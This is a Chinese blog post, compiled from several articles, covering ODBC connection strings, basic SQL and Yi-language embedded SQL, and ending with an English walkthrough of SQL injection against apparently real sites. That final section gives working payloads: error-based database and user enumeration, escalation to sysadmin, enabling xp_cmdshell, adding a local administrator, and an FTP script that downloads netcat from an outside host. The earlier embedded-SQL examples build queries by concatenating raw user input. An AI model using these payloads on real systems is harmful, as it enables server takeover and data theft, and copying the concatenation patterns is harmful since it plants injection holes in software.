ODBC:web/sql分离环境下的一个思路

这个是我将几篇文章整和的,杂乱的很, 将就看吧:)

=======================================

一.ODBC的概念

ODBC  Open DataBase Connectivity

由微软 (MICROSOFT) 所发展的数据库 (DATABASE) 存取规格, 可使所有依照 ODBC 规格设计的应用程序, 能够透过 ODBC 驱动程序 (DRIVER) 来存取数据库, 而不管使用何种数据库管理系统 (DBMS).

ODBC(Open Database Connectivity,开放数据库互连)是微软公司开放服务结构(WOSA,Windows Open Services Architecture)中有关数据库的一个组成部分,它建立了一组规范,并提供了一组对数据库访问的标准API(应用程序编程接口)。这些API利用SQL来完成其大部分任务。ODBC本身也提供了对SQL语言的支持,用户可以直接将SQL语句送给ODBC。

一个基于ODBC的应用程序对数据库的操作不依赖任何DBMS,不直接与DBMS打交道,所有的数据库操作由对应的DBMS的ODBC驱动程序完成。也就是说,不论是FoxPro、Access还是Oracle数据库,均可用ODBC API进行访问。由此可见,ODBC的最大优点是能以统一的方式处理所有的数据库。

一个完整的ODBC由下列几个部件组成:

应用程序(Application)。

ODBC管理器(Administrator)。该程序位于Windows 95控制面板(Control Panel)的32位ODBC内,其主要任务是管理安装的ODBC驱动程序和管理数据源。

驱动程序管理器(Driver Manager)。驱动程序管理器包含在ODBC32.DLL中,对用户是透明的。其任务是管理ODBC驱动程序,是ODBC中最重要的部件。

ODBC API。

ODBC 驱动程序。是一些DLL,提供了ODBC和数据库之间的接口。

数据源。数据源包含了数据库位置和数据库类型等信息,实际上是一种数据连接的抽象。

各部件之间的关系如图下图所示:

应用程序要访问一个数据库,首先必须用ODBC管理器注册一个数据源,管理器根据数据源提供的数据库位置、数据库类型及ODBC驱动程序等信息,建立起ODBC与具体数据库的联系。这样,只要应用程序将数据源名提供给ODBC,ODBC就能建立起与相应数据库的连接。

在ODBC中,ODBC API不能直接访问数据库,必须通过驱动程序管理器与数据库交换信息。驱动程序管理器负责将应用程序对ODBC API的调用传递给正确的驱动程序,而驱动程序在执行完相应的操作后,将结果通过驱动程序管理器返回给应用程序。

在访问ODBC数据源时需要ODBC驱动程序的支持。用Visual C++ 5.0安装程序可以安装SQL Server、 Access、 Paradox、 dBase、 FoxPro、 Excel、 Oracle 和Microsoft Text等驱动程序.在缺省情况下,VC5.0只会安装SQL Server、 Access、 FoxPro和dBase的驱动程序.如果用户需要安装别的驱动程序,则需要重新运行VC 5.0的安装程序并选择所需的驱动程序。

 

 

 

二.odbc基本参数

通过odbc

可以在web/sql分离的环境下实现sql注射ODBC提供对多种数据库的支持,如dBase、Access、MS SQL Server及Oracle,也就是说运用ODBC数据源中所提供的连接代码,我们可以实现对多种数据库的连接。以连接Access数据库为例,ODBC数据源连接文本的格式是:
“Driver={数据库驱动程序};Dbq=数据库文件;”

在以上连接文本中,如果数据库跟程序在同一目录下,或者用变量DefaultDir指定了数据库所在目录,则数据库文件可以不用全路径名,如下即可:

“ODBC;DBQ=MSAccess.mdb;Driver={Microsoft Access Driver (*.mdb)};”

如下也可:

“ODBC;DBQ=MSAccess.mdb;DefaultDir=d:\Downloads\e21;Driver={Microsoft Access Driver (*.mdb)};”

如果数据库跟程序不在同一目录下,或者没有用变量DefaultDir指定数据库所在目录,则数据库文件需要用全路径名,如下:

“ODBC;DBQ=E:\Quake III Arena\MSAccess.mdb;Driver={Microsoft Access Driver (*.mdb)};”

以上所说的是连接Access数据库的格式,那么连接其他数据库的ODBC数据源连接文本又是怎样的?连接不同类型的数据库要使用不同的对应驱动程序,没忘记吧!不同的驱动程序当然它们的参数组合也就不同了,每一种不同驱动程序都有其特定的的参数形式:

⑴、MS Access ODBC DSNless 连接:

☆、参数:Driver 设置值:{Microsoft Access Driver (*.mdb)}
☆、参数:Dbq 设置值:实际路径文件名称
☆、例句:
“Driver={Microsoft Access Driver (*.mdb)};Dbq=c: omepath\dbname.mdb;Uid=Admin;Pwd=pass; ”

⑵、dBase ODBC DSNless 连接:

☆、参数:Driver 设置值:{Microsoft dBASE Driver (*.dbf)}
☆、参数:Dbq 设置值:实际路径文件名称
☆、例句:
“Driver={Microsoft dBASE Driver (*.dbf)};DriverID=277;Dbq=c: omepath\dbname.dbf; ”

⑶、Oracle ODBC DSNless 连接:

☆、参数:Driver 设置值:{Microsoft ODBC for Oracle}
☆、参数:Dbq 设置值:实际路径文件名称
☆、例句:
“Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;Uid=admin;Pwd=pass; ”

⑷、MS SQL Server DSNless 连接:

☆、参数:Driver 设置值:{SQL Server};
☆、参数:Server 设置值:服务器名称
☆、参数:Database 设置值:数据表名称
☆、参数:Uid 设置值:用户名称
☆、参数:Pwd 设置值:密码
☆、例句:
“Driver={SQL Server};Server=servername;Database=dbname;Uid=sa;Pwd=pass; ”

⑸、MS Text Driver DSNless 连接:

☆、参数:Driver 设置值:{Microsoft Text Driver (*.txt; *.csv)}
☆、参数:Dbq 设置值:实际路径文件名称
☆、例句:
“Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=c: omepath\;Extensions=asc,csv,tab,txt;Persist Security Info=False; ”

⑹、Visual Foxpro DSNless 连接:

☆、参数:Driver 设置值:{Microsoft Visual FoxPro Driver}
☆、参数:SourceType 设置值:DBC
☆、参数:SourceDB 设置值:实际路径文件名称
☆、例句:
“Driver={Microsoft Visual FoxPro Driver};SourceType=DBC;SourceDB=c: omepath\dbname.dbc;Exclusive=No;”

⑺、MySQL DSNless 连接:

☆、参数:Driver 设置值:{mysql}
☆、参数:database 设置值:数据表名称
☆、参数:uid 设置值:用户名称
☆、参数:pwd 设置值:密码
☆、例句:
“driver={mysql}; database=yourdatabase;uid=username;pwd=password;option=16386”



*******************************************************************

SQL语言简介


在上一讲中我们介绍了连接外部数据库的方法,那么连接之后怎样对外部数据库进行读取、显示、增删、更新、查询等操作呢?这些操作需要通过外部数据库等对象调用SQL指令才能完成。
㈠、什么是SQL语言

SQL(Structure Query Languge,结构化查询语言)是一种数据库专用的计算机语言,不管是Oracle、MS SQL 、Access、MySQL或其他公司的数据库,也不管数据库建立在大型主机或个人计算机上,都可以使用SQL语言来访问和修改数据库的内容。虽然不同公司的数据库软件多多少少会增加一些专属的SQL语法,但大体上,它们还是遵循ASNI(美国国家标准协会)制定的SQL标准。因为SQL语言具有易学习及阅读等特性,所以SQL逐渐被各种数据库厂商采用,而成为一种共通的标准查询语言。只要你学会SQL,即可操作各种数据库如Visual Foxpro、Access、dBase等等。总之,SQL语言是各种数据库都可以使用的数据库查询语言。
SQL语言不仅仅具有查询数据库的功能,而且可以对数据库完成选取、增删、更新与跳转等各种操作。

㈡、SQL语言的组成

SQL语言是由命令(函数)、子句、运算符、加总函数及通配符等组成,分述如下:

1、命令
SQL的命令可分成数据定义语言与数据操作语言,数据定义语言可用来建立新的数据库、数据表、字段及索引等,本教程不予介绍;另一为数据操作语言,可用来建立查询表、排序、筛选数据、修改、增删等动作。数据定义语言命令常用的有选择、添加、删除和修改这四种:

⑴、命令:SELECT
中文意思:选择
说明:用于找出合乎条件的记录
⑵、命令:INSERT
中文意思:插入
说明:用于增加一笔记录或合并两个数据表
⑶、命令:UPDATE
中文意思:更新
说明:用于更正合乎条件的记录
⑷、命令:DELETE
中文意思:删除
说明:用于删除合乎条件的记录

2、子句
子句是用于设定命令要操作的对象(即参数),SQL所用的子句如下:

⑴、子句:FROM
中文意思:数据表
说明:用于指定数据表
⑵、子句:WHERE
中文意思:条件
说明:用于设定条件
⑶、GROUP BY
中文意思:分组(合并)
说明:用于设定分组
⑷、ORDER BY
中文意思:排序
说明:用于设定输出的顺序及字段

3、运算符
子句参数中的运算符使子句构成不同的语法格式,如“字段1=''100''”、“字段1>''100''”等。运算符又分逻辑运算符与比较运算符。
◇逻辑运算符如下:

⑴、运算符:AND
中文意思:并且
说明:逻辑且
⑵、运算符:OR
中文意思:或者
说明:逻辑非
⑶、运算符:NOT
中文意思:取反
说明:逻辑非或逻辑反

◇比较运算符如下:

⑴、运算符:< 说明:小于
⑵、运算符:≤ 说明:小于等于
⑶、运算符:≥ 说明:大于等于
⑷、运算符:> 说明:大于
⑸、运算符:= 说明:等于
⑹、运算符:<> 说明:不等于
⑺、运算符:BETWEEN 说明:用于设定范围 中文意思:在...之间
⑻、运算符:LIKE 说明:用于通配设定 中文意思:如同
⑼、运算符:IN 说明:用于集合设定 中文意思:在...之内

4、加总函数
加总函数常常运用在命令的参数中,如:“SELECT SUM(数学),AVG(数学) FROM 成绩单”。
⑴、加总函数:AVG
中文意思:平均
说明:用于求指定条件的平均
⑵、加总函数:COUNT
中文意思:数量
说明:用于求指定的数量
⑶、加总函数:SUM
中文意思:和
说明:用于求指定条件的和
⑷、加总函数:MAX
中文意思:最大值
说明:用于求指定条件的最大值
⑸、加总函数:MIN
中文意思:最小值
说明:用于求指定条件的最小值

5、通配符

⑴、通配符:% 意义:任何长度的字符串(包括0)
⑵、通配符:_ 意义:下划线表示任何一个字符
⑶、通配符:[] 意义:中括号表示某个范围内的一个字符

在下一讲将说明SQL语言是怎样把命令(函数)、子句、运算符、及加总函数等组合在一起的。


*************************************************************************


嵌入式SQL的应用


SQL语句可以单独在数据库系统本身中执行,但如果运用在其他编程工具所编制的程序中,一般不能单独执行,而要把SQL语句嵌入到高级语言(如易语言)中使用,通过高级语言的命令和方法来调用之,此时SQL称为嵌入式SQL。调用SQL语句的程序称为宿主程序,在易语言中一般是把SQL语句作为宿主程序的唯一参数来直接处理。嵌入式SQL在使用上有一些规定,在易语言中目前的版本规定如下:
⑴、在程序中要区分SQL语句和宿主语言的语句。在易语言中好区分,因为SQL语句形式是英文的,而易语言是中文的,但在实际应用时仍然有可能会混乱,所以易语言要把SQL语句转化为文本型才能调用,即嵌入式SQL语句两边要用双引号来标示。

⑵、允许SQL语句使用宿主程序的变量,但使用时要将宿主程序的变量跟外部数据库中表格的字段名区别开来,区别方法如下:
①、在易语言中要将变量类型转化为文本型变量才能被SQL文本相加使用,比如下面的例子中有一个叫“数字1”的整数类型变量,插入到SQL文本中是这样表达:

外部数据库1.查询 (“select * from chj where ” + 组合框1.内容 + “=” + 到文本 (数字1))

②、包含字段名的SQL文本两边加双引号,变量名不能在双引号内,如上例。

⑶、要将字段名跟字段值区别开来,区别方法如下:
①、对于文本类型的字段,在其字段值两边要加上“''”号标示其文本值,代表语法是:字段名称=‘文本值’。如下:

外部数据库1.查询 (“select * from chj where 姓名=''山大王''”)

又如下面“查找编辑框.内容”中的字段值是文本型,嵌入式SQL语句如下:

外部数据库1.查询 (“select * from chj where 姓名==” + “''” + 查找编辑框.内容 + “''”)

②、对于数字类型的字段,在SQL语句中表示其字段值,两边不加符号标示,代表语法是:字段名称=数字值。如下两例:

外部数据库1.查询 (“select * from chj where ” + 组合框1.内容 + “=” + 查找编辑框.内容)

外部数据库1.查询 (“select * from chj where 学号=17”)

③、对于日期时间类型的字段,在其字段值两边要加上“#”号标示其时间值,代表语法是:字段名称=#时间值#。如下两例:

外部数据库1.查询 (“select * from chj where 入学时间 BETWEEN #2001-01-01# and #2002-01-01#”)

外部数据库1.查询 (“select * from chj where ” + 组合框1.内容 + “=” + “#” + 查找编辑框.内容 + “#”)

④、也可以将SQL语句中的字段名(尤其是中文名)可用中括号括住,如:[字段名]。


⑷、SQL语句要用半角输入法输入,否则可能会出错。

那么在易语言中怎样调用SQL语句呢?一般是在外部数据库对象(控件)的方法中调用,试概括如下:
⑴、对外部数据库进行查询的方法。
对外部数据库的查询就是在对外部数据库不加编辑改动的前提下,只通过记录集来对数据库进行显示、查询、筛选、排序和记录集的合并等操作。
所有查询类的方法起源于下面这个语句,其他查询类语句是对这个语句的调用(将此语句作为唯一的参数),该语句如下:

外部数据库.查询 (查询类SQL语句)

也可这样表达:

外部数据库.查询 (“SELECT...FROM...[WHERE]...[GROUP BY]...[ORDER BY]... ”)

该方法是对当前被打开数据库进行数据查询,返回的结果称为“记录集句柄”(即记录集的标记)。注意当不再使用此记录集时,必须使用“关闭记录集”将其关闭,如果失败,返回0。在易语言中,将以上语句等同于记录集句柄以作为其他查询类语句的参数。为了使该参数在所有子程序中都能应用,我们一般把它设置为整数型全局变量,并将其值设置如下:

记录集句柄=外部数据库.查询 (查询类SQL语句)

由于易语言要把SQL语句转化为文本型才能调用,所以嵌入式SQL语句两边要有双引号,例句:
记录集句柄 = 外部数据库1.查询 (“select * from chj ”)
※ “chj”是外部数据库中一个表的名称

又如,欲得到排序的记录集,应象下面这样赋值:

记录集句柄 = 外部数据库1.查询 (“SELECT * FROM chj ORDER BY 语文 DESC”)

现将外部数据库控件中其他的查询类方法列举如下:

①、外部数据库.重新查询 (记录集句柄) 即:
外部数据库.重新查询 (外部数据库.查询 (查询类SQL语句))

例句:外部数据库1.重新查询 (外部数据库1.查询 (“select * from chj ”))

②、外部数据库.首记录前 (记录集句柄) 即:
外部数据库.首记录前 (外部数据库.查询 (查询类SQL语句))

例句:外部数据库1.首记录前 (记录集句柄)

③、外部数据库.尾记录后 (记录集句柄)
④、外部数据库.到首记录 (记录集句柄)
⑤、外部数据库.到尾记录 (记录集句柄)
⑥、外部数据库.到前一记录 (记录集句柄)
⑦、外部数据库.到后一记录 (记录集句柄)
⑧、外部数据库.读 (记录集句柄,字段名称或位置)

例句:语文编辑框.内容 = 到文本 (外部数据库1.读 (记录集句柄, “语文”))

⑵、对外部数据库进行编辑的方法。
所谓对外部数据库的编辑,就是变更改动外部数据库本身,包括添加、更新、删除等,对数据库进行编辑不必通过记录集。所有非查询类SQL语句都嵌入下面这个语句来执行:

外部数据库.执行 (非查询类SQL语句)

①、添加记录,其语法如下:

外部数据库.执行 (“insert into 表名称(字段1,字段2...) values (字段值1,字段值2...) ”)

例句:
外部数据库1.执行 (“INSERT INTO chj ” + “(学号,姓名,语文,数学,英语)” + “ valueS ” + “(” + 学号编辑框.内容 + “,''” + 姓名编辑框.内容 + “'',''” + 语文编辑框.内容 + “'',''” + 数学编辑框.内容 + “'',''” + 英语编辑框.内容 + “'')”)

②、更新记录,其语法如下:

外部数据库.执行 (“UPDATE 表名称 SET 字段1=字段值1,字段2=字段值2...WHERE 条件式”)

例句:
外部数据库1.执行 (“UPDATE chj SET 学号=” + “''” + 学号编辑框.内容 + “'',” + “姓名=” + “''” + 姓名编辑框.内容 + “'',” + “语文=” + “''” + 语文编辑框.内容 + “'',” + “数学=” + “''” + 数学编辑框.内容 + “'',” + “英语=” + “''” + 英语编辑框.内容 + “'' ” + “WHERE 姓名=” + “''” + 姓名1 + “'' ” + “AND 语文=” + 语文1 + “AND 数学=” + 数学1 + “AND 英语=” + 英语1 + “AND 学号=” + 学号1)

③、删除记录,其语法如下:

外部数据库.执行 (“DELETE * FROM 表名称 WHERE 条件式”)

例句:
外部数据库.执行 (“外部数据库1.执行 (“DELETE * FROM chj ” + “WHERE 姓名=” + “''” + 姓名1 + “'' ” + “AND 语文=” + 语文1 + “AND 数学=” + 数学1 + “AND 英语=” + 英语1 + “AND 学号=” + 学号1)”)


=============================================

 

 

三.ODBC注入范例

EXAMPLE TO USE:
http://www.xxxx.com/FullStory.asp?id=1

Exploiting the hole:
http://www.xxxx.com/FullStory.asp?id=1'

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ''.
/Including/general.asp, line 840\ 

 

VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Code:

[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright &copy; 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/Including/general.asp, line 840

 


SERVER NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.
/Including/general.asp, line 840

 


DATABASE NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.
/Including/general.asp, line 840

 


USER
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.
/Including/general.asp, line 840

 


OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_oa-oz_78z8.asp)
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.
/Including/general.asp, line 840

 


GUEST = DB_OWNER :DDD
http://www.XXXX.com/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--

Code:

   No result expected, normal page loading
   Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell

 


ADDIN TO "BUILTIN\ADMINISTRATORS"
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--

and then

http://www.xxxx.com/FullStory.asp?id=1;exec master..sp_addsrvrolemember 'nhaxinh',sysadmin --

ENABLE OPENROWSET/OLEDB
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.
/Including/general.asp, line 840

 

http://www.xxxx.com/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'

 

ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')

!!PAY ATTETION TO THE SERVER= PARAMETER

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.
/Including/general.asp, line 840

 

if dun work try:
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

 

NOW SCRIPT KIDDIES


http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'ipconfig'--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like '%25IP Address%25'))-- (%25 == “%”)

Code:


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.
/Including/general.asp, line 840


C:\> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).
User (203.162.7.70:(none)):
203.162.7.70 == panvietnam.com

 


http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&")

Code:

C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service
(Version 5.0).
User (203.162.7.70:(none)): a
331 Password required for a.
Password:
530 User a cannot log in.
Login failed.
ftp> bye

 


UPLOAD NETCAT L&Ecirc;N
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f')-- (%3E == ">")

Code:

echo open a.b.c.d >f
echo user a a >>f
echo bin >> f
echo cd a >>f
echo mget * >>f
echo quit >>f
ftp -v -i -n -s:f
del f


http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'dir nx.exe'--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))--

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '08/17/2003 11:31a 11,776 nx.exe' to a column of data type int.
/Including/general.asp, line 840
---

上一篇: zone-h上线了
下一篇: win系统的cmd打造成linux的风格

访客评论
#1
回复 AmxKu 2005-12-29, 22:27:03
感谢“古典辣M°”提供信息
发表评论

评论内容 (必填):